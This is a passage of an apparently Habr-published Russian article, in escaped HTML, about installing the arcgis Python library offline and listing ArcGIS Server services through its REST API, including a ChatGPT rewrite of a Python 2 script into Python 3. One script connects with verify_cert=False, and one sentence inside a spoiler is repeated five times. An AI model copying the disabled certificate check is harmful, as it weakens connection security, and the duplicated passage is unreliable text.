\u0441\u043e\u0437\u0434\u0430\u043d, \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f.<\/p>\n<p><strong>\u0421 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0441\u044f, \u0442\u0435\u043f\u0435\u0440\u044c \u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u043d\u0443\u0436\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.<\/strong><\/p>\n<pre><code class=\"powershell\">pip download arcgis -d &lt;\u043f\u0443\u0442\u044c \u043a\u0443\u0434\u0430 \u0441\u043b\u043e\u0436\u0438\u0442\u044c whl><\/code><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u044e \u043f\u0430\u043f\u043a\u0443 \u0441\u043e 139-\u044e .whl-\u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.<\/p>\n<p>26 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u0443 \u043c\u0435\u043d\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432\u044b\u043a\u0430\u0447\u0430\u0442\u044c .whl. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 5 \u043d\u043e\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c .whl \u043f\u0430\u0434\u0430\u043b\u0430 \u0432 \u043e\u0448\u0438\u0431\u043a\u0443.<\/p>\n<p><em>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430, \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435. \u0412\u043e \u0432\u0440\u0435\u043c\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u043a\u043e\u0434, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u044b\u0439 \u0440\u0430\u043d\u0435\u0435. \u041d\u043e \u0443\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0434\u0438\u043d \u043c\u043e\u043c\u0435\u043d\u0442 \u2013 \u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b pip download \u043d\u0430 python 3.12. \u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u043d\u0430 5-\u0435 \u043d\u043e\u044f\u0431\u0440\u044f, pip download arcgis -d &lt;\u043f\u0443\u0442\u044c \u043a\u0443\u0434\u0430 \u0441\u043b\u043e\u0436\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b> \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u043b\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 arcgis. \u0421 python 3.11 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043d\u0435 \u0431\u044b\u043b\u043e. \u0411\u0443\u0434\u044c\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b.<\/em><\/p>\n<p>\u0424\u043e\u0440\u043c\u0438\u0440\u0443\u044e .txt \u0444\u0430\u0439\u043b \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438:<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430 \u0442\u0443\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import os from os.path import isfile, join  path = r\"C:\\\\PythonLibs\\\\Whl\\\\ArcGis\" filename = r\"C:\\\\PythonLibs\\\\Whl\\\\ArcGis\\\\output.txt\"  # \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 with open(filename, \"w\") as f:     # \u041f\u0440\u043e\u0445\u043e\u0434\u0438\u043c\u0441\u044f \u043f\u043e \u0432\u0441\u0435\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u0430\u043f\u043a\u0430\u043c \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438     for dirpath, dirnames, filenames in os.walk(path):         # \u041e\u0442\u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0444\u0430\u0439\u043b\u044b         non_hidden_files = [f for f in filenames if not f.startswith('.')]         # \u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0432 \u0444\u0430\u0439\u043b         for file_name in non_hidden_files:             file_path = join(dirpath, file_name)             f.write(file_path + \"\\\\n\")<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0422. \u043a. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u044f \u0434\u0435\u043b\u0430\u043b \u043f\u043e \u0438\u0442\u043e\u0433\u0443 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043f\u0443\u0442\u044f\u043c\u0438, \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0430 \u043f\u0430\u043f\u043a\u0438 \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u043c\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a, output.txt \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u0432 Notepad++.<\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 3 \u043c\u0438\u043d\u0443\u0442\u044b, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u043c\u043d\u0435 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u0438\u0441\u043a \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/31b\/af8\/882\/31baf888299b949d8bb5da4e8495b572.png\" width=\"446\" height=\"166\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/31b\/af8\/882\/31baf888299b949d8bb5da4e8495b572.png\"\/><\/figure>\n<p><u>\u041d\u043e\u0432\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b:<\/u> \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u201cERROR: THESE PACKAGE DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE\u201d.<\/p>\n<p>\u041f\u043e \u0438\u0442\u043e\u0433\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0440\u0435\u0448\u0438\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \u041f\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0442\u0443\u0442 \u043d\u0435 \u0431\u0443\u0434\u0443.\u00a0<\/p>\n<p>\u0421\u043b\u0435\u0434\u0443\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e Arcgis API for Python, \u0441\u043e\u0431\u0438\u0440\u0430\u044e \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u043f\u0438\u0441\u043a\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432:<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430 \u0442\u0443\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">from arcgis.gis import GIS import keyring  arcgis_admin = keyring.get_credential(service_name='ArcGISAdmin') username = arcgis_admin.username password = arcgis_admin.password  gis = GIS(\"server_url\", username, password, verify_cert=False) gis_servers = gis.admin.servers.list() print(gis_servers)<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9cf\/427\/69b\/9cf42769bffd88a813f2ecf903f14019.png\" width=\"828\" height=\"227\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9cf\/427\/69b\/9cf42769bffd88a813f2ecf903f14019.png\"\/><\/figure>\n<p>\u0412\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u0447\u0430\u0442\u044c\u0441\u044f \u0434\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u044f\u043c\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043f\u043e \u0441\u043e\u0432\u0435\u0442\u0430\u043c \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u043c\u043f\u043b\u0430\u043c \u0438\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 Arcgis API for Python \u044f \u0438\u0441\u043f\u044b\u0442\u0430\u043b \u0432\u0435\u0441\u044c \u043d\u0435\u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u044d\u043c\u043e\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0438\u0437 \u0440\u0430\u0437\u0430 \u0432 \u0440\u0430\u0437 \u0442\u0435\u0440\u043f\u044f\u0449\u0438\u0439 \u043d\u0435\u0443\u0434\u0430\u0447\u0443 \u0432 \u0441\u0432\u043e\u0451\u043c \u0434\u0435\u043b\u0435\u2026<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/723\/48a\/313\/72348a313d8092604a2c05d96ab3aee6.png\" width=\"1024\" height=\"1024\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/723\/48a\/313\/72348a313d8092604a2c05d96ab3aee6.png\"\/><\/figure>\n<h3>\u0412\u044b\u0434\u043e\u0445\u043d\u0443\u043b\u0438\u2026\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435<\/h3>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/cde\/106\/ed4\/cde106ed4f10f3cb3a047256306334d4.png\" width=\"1280\" height=\"721\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/cde\/106\/ed4\/cde106ed4f10f3cb3a047256306334d4.png\"\/><\/figure>\n<p>\u0412 \u0441\u0430\u043c\u043e\u043c \u043a\u043e\u043d\u0446\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b <a href=\"https:\/\/gis.stackexchange.com\/questions\/17639\/starting-and-stopping-arcgis-server-map-services-using-python\"><u>Starting and stopping ArcGIS Server map services using Python? &#8212; Geographic Information Systems Stack Exchange<\/u><\/a> \u2013 \u0441\u043e\u0432\u0435\u0442, \u043d\u0430\u0431\u0440\u0430\u0432\u0448\u0438\u0439 \u0432\u0441\u0435\u0433\u043e \u0434\u0432\u0430 \u043b\u0430\u0439\u043a\u0430, \u0432\u0435\u0434\u0451\u0442 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0443\u0442\u0438\u043b\u0438\u0442\u044b, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0438 Arcgis 10.1 \u043d\u0430 python 2.7 (<a href=\"https:\/\/www.arcgis.com\/home\/item.html?id=12dde73e0e784e47818162b4d41ee340\"><u>ArcGIS Server Administration Toolkit &#8212; 10.1+ &#8212; \u041e\u0431\u0437\u043e\u0440<\/u><\/a>).<\/p>\n<p>\u041f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434, \u0437\u0430\u043f\u0443\u0441\u043a \u043d\u0430 Python 2.7 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a0b\/40e\/f5a\/a0b40ef5aac58887e9ee1e31c4864cde.png\" width=\"450\" height=\"221\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a0b\/40e\/f5a\/a0b40ef5aac58887e9ee1e31c4864cde.png\"\/><\/figure>\n<p>\u041f\u043e\u0438\u0441\u043a \u043f\u043e \u0444\u043e\u0440\u0443\u043c\u0443 esri \u0434\u0430\u043b \u043d\u043e\u0432\u0443\u044e \u043f\u0438\u0449\u0443 \u0434\u043b\u044f \u0440\u0430\u0437\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0439: \u0443\u0442\u0438\u043b\u0438\u0442\u0430, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0438 arcgis 10.1 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0430 \u0431\u044b\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0439 \u0443\u0436\u0435 \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 arcgis 10.6. \u0420\u0430\u0437 \u0442\u0430\u043a, \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u0434\u043b\u044f arcgis 10.8 \u0438 \u0437\u0430\u043e\u0434\u043d\u043e \u043d\u0430 Python 3.<\/p>\n<p><em>\u041a \u044d\u0442\u043e\u043c\u0443 \u043c\u043e\u043c\u0435\u043d\u0442\u0443\u00a0 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0447\u0451\u0442\u043a\u043e\u0435 \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u044f \u0443\u0436\u0435 \u043c\u0430\u043b\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u044e, \u043a\u0443\u0434\u0430 \u0437\u0430\u0432\u0435\u0434\u0451\u0442 \u043c\u0435\u043d\u044f \u044d\u0442\u043e \u043f\u0443\u0442\u0435\u0448\u0435\u0441\u0442\u0432\u0438\u0435 \u0432 \u043c\u0438\u0440 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0430 Python \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043e\u0432\u0435\u0442\u043e\u0432 \u0438 AI. \u0418\u0441\u043f\u043e\u0434\u0432\u043e\u043b\u044c \u043f\u043e\u0434\u043a\u0440\u0430\u0434\u044b\u0432\u0430\u043b\u0430\u0441\u044c \u043c\u044b\u0441\u043b\u044c, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u0443 \u0438\u0434\u0435\u044e \u0438 \u043f\u043e\u0433\u0440\u0443\u0436\u0430\u0442\u044c\u0441\u044f \u0432 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e. \u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0441\u043d\u043e\u0432 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 url \u0438 https \u043d\u0430 Python \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044f \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438 \u043f\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 REST API.\u00a0<\/em><\/p>\n<p><em>\u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e \u0431\u0443\u0434\u0443\u0449\u0435\u0435: \u043d\u0435\u0442, \u043c\u044b\u0441\u043b\u044c \u0431\u044b\u043b\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f.<\/em><\/p>\n<h4>ChatGPT<\/h4>\n<p>\u041f\u043e \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u043f\u043a\u0435 \u043f\u043e \u0440\u0435\u0448\u0430\u0435\u043c\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435, \u044f \u043d\u0430\u0448\u0451\u043b \u0432\u0430\u0440\u0438\u0430\u043d\u0442 <a href=\"https:\/\/desktop.arcgis.com\/ru\/arcmap\/latest\/analyze\/arcpy-mapping\/listmapservices.htm\"><u>\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u043f\u0438\u0441\u043a\u0430 ArcGIS \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u043c \u043d\u0430 Python 2.7<\/u><\/a> \u0434\u043b\u044f Arcgis Server 10.8. \u041e\u0442\u0441\u0442\u0443\u043f\u044b \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b \u0441\u0442\u0440\u043e\u043a \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u201c\u043a\u0430\u043a \u0435\u0441\u0442\u044c\u201d \u0438\u0437 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, \u0432\u0437\u044f\u0442\u043e\u0433\u043e \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438. \u0417\u043d\u0430\u044e, \u0447\u0442\u043e \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0443\u0436\u0430\u0441\u043d\u043e (\u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434 \u0441\u043f\u043e\u0439\u043b\u0435\u0440\u043e\u043c). <\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u043e\u0434 \u0442\u0443\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import json, urllib2 server = \"&lt;server>\" port = \"80\" baseUrl = \"http:\/\/{}:{}\/arcgis\/rest\/services\".format(server, port) def getCatalog():   catalog = json.load(urllib2.urlopen(baseUrl + \"\/\" + \"?f=json\"))  print 'ROOT'   if \"error\" in catalog: return  services = catalog['services']  for service in services:     response = json.load(urllib2.urlopen(baseUrl + '\/' + service['name'] + '\/' + service['type'] + \"?f=json\"))    print '  %s %s (%s)' % (service['name'], service['type'], 'ERROR' if \"error\" in response else 'SUCCESS')  folders = catalog['folders']  for folderName in folders:     catalog = json.load(urllib2.urlopen(baseUrl + \"\/\" + folderName + \"?f=json\"))    print folderName    if \"error\" in catalog: return    services = catalog['services']    for service in services:       response = json.load(urllib2.urlopen(baseUrl + '\/' + service['name'] + '\/' + service['type'] + \"?f=json\"))      print '  %s %s (%s)' % (service['name'], service['type'], 'ERROR' if \"error\" in response else 'SUCCESS') getCatalog()<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u041f\u0440\u043e\u0448\u0443 \u0443 ChatGPT \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 c Python 2 \u043d\u0430 Python 3 \u0438 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 https, \u0432\u043c\u0435\u0441\u0442\u043e http.<\/p>\n<details class=\"spoiler\">\n<summary>\u041e\u0442\u0432\u0435\u0442 ChatGPT:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import json import urllib.request  server = \"&lt;server>\" port = \"80\" baseUrl = \"https:\/\/{}:{}\/arcgis\/rest\/services\".format(server, port)  def getCatalog():     with urllib.request.urlopen(baseUrl + \"\/\" + \"?f=json\") as url:         catalog = json.loads(url.read().decode())     print('ROOT')     if \"error\" in catalog:          return     services = catalog['services']     for service in services:         with urllib.request.urlopen(baseUrl + '\/' + service['name'] + '\/' + service['type'] + \"?f=json\") as url:             response = json.loads(url.read().decode())         print('  %s %s (%s)' % (service['name'], service['type'], 'ERROR' if \"error\" in response else 'SUCCESS'))     folders = catalog['folders']     for folderName in folders:         with urllib.request.urlopen(baseUrl + \"\/\" + folderName + \"?f=json\") as url:             catalog = json.loads(url.read().decode())         print(folderName)         if \"error\" in catalog:              return         services = catalog['services']         for service in services:             with urllib.request.urlopen(baseUrl + '\/' + service['name'] + '\/' + service['type'] + \"?f=json\") as url:                 response = json.loads(url.read().decode())             print('  %s %s (%s)' % (service['name'], service['type'], 'ERROR' if \"error\" in response else 'SUCCESS'))  getCatalog()<\/code><\/pre>\n<p>\u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0434 \u043c\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0434\u0440\u0435\u0441\u0430:  \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0434 \u043c\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0434\u0440\u0435\u0441\u0430:  \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0434 \u043c\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0434\u0440\u0435\u0441\u0430:  \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0434 \u043c\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0434\u0440\u0435\u0441\u0430:  \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0434 \u043c\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0434\u0440\u0435\u0441\u0430:  <\/p>\n<\/div>\n<\/details>\n<p>\u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0434 \u043c\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0434\u0440\u0435\u0441\u0430:<\/p>\n<pre><code class=\"python\">baseUrl = \"https:\/\/{}\/arcgis\/rest\/services\".format(server)<\/code><\/pre>\n<p>\u0418 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u2026\u00a0<\/p>\n<p>\u0423\u0441\u043f\u0435\u0445! \u041e\u0442\u0432\u0435\u0442 \u0432\u0435\u0440\u043d\u0443\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9dd\/3eb\/d1c\/9dd3ebd1c22b698c2217f164e27c954f.png\" width=\"679\" height=\"524\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9dd\/3eb\/d1c\/9dd3ebd1c22b698c2217f164e27c954f.png\"\/><\/figure>\n<p>\u0417\u0430\u043a\u0440\u044b\u0432 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438, \u044f \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0434\u0435\u043d\u044c \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0445\u043e\u0442\u044f \u0431\u044b \u0441\u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 